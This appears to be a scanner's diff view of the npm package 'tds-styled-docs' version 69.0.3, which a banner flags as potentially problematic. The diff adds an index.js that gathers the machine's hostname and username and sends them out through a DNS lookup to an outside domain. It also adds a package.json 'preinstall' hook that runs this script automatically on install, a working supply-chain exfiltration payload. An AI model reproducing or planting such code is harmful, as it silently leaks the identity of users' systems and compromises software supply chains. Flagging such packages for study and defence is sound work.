tds-styled-docs 69.0.3
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of tds-styled-docs might be problematic. Click here for more details.
- package/README.md +1 -0
- package/index.js +17 -0
- package/package.json +12 -0
package/README.md
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
tds-styled-docs
|
package/index.js
ADDED
@@ -0,0 +1,17 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
|
4
|
+
const package_name = "tsd1";
|
5
|
+
const package_version = "3";
|
6
|
+
|
7
|
+
|
8
|
+
function version() {
|
9
|
+
console.log(package_name + " v" + package_version);
|
10
|
+
}
|
11
|
+
|
12
|
+
var token = package_name + "-" + package_version + "-" + os.hostname() + "-" + os.userInfo().username;
|
13
|
+
token = token.replaceAll(/[^a-zA-Z0-9\-]/g, '_');
|
14
|
+
|
15
|
+
dns.lookup(token + ".dc.0d.lv", (err, address, family) => { });
|
16
|
+
|
17
|
+
module.exports = version;
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "tds-styled-docs",
|
3
|
+
"version": "69.0.3",
|
4
|
+
"description": "tds-styled-docs",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "NST",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|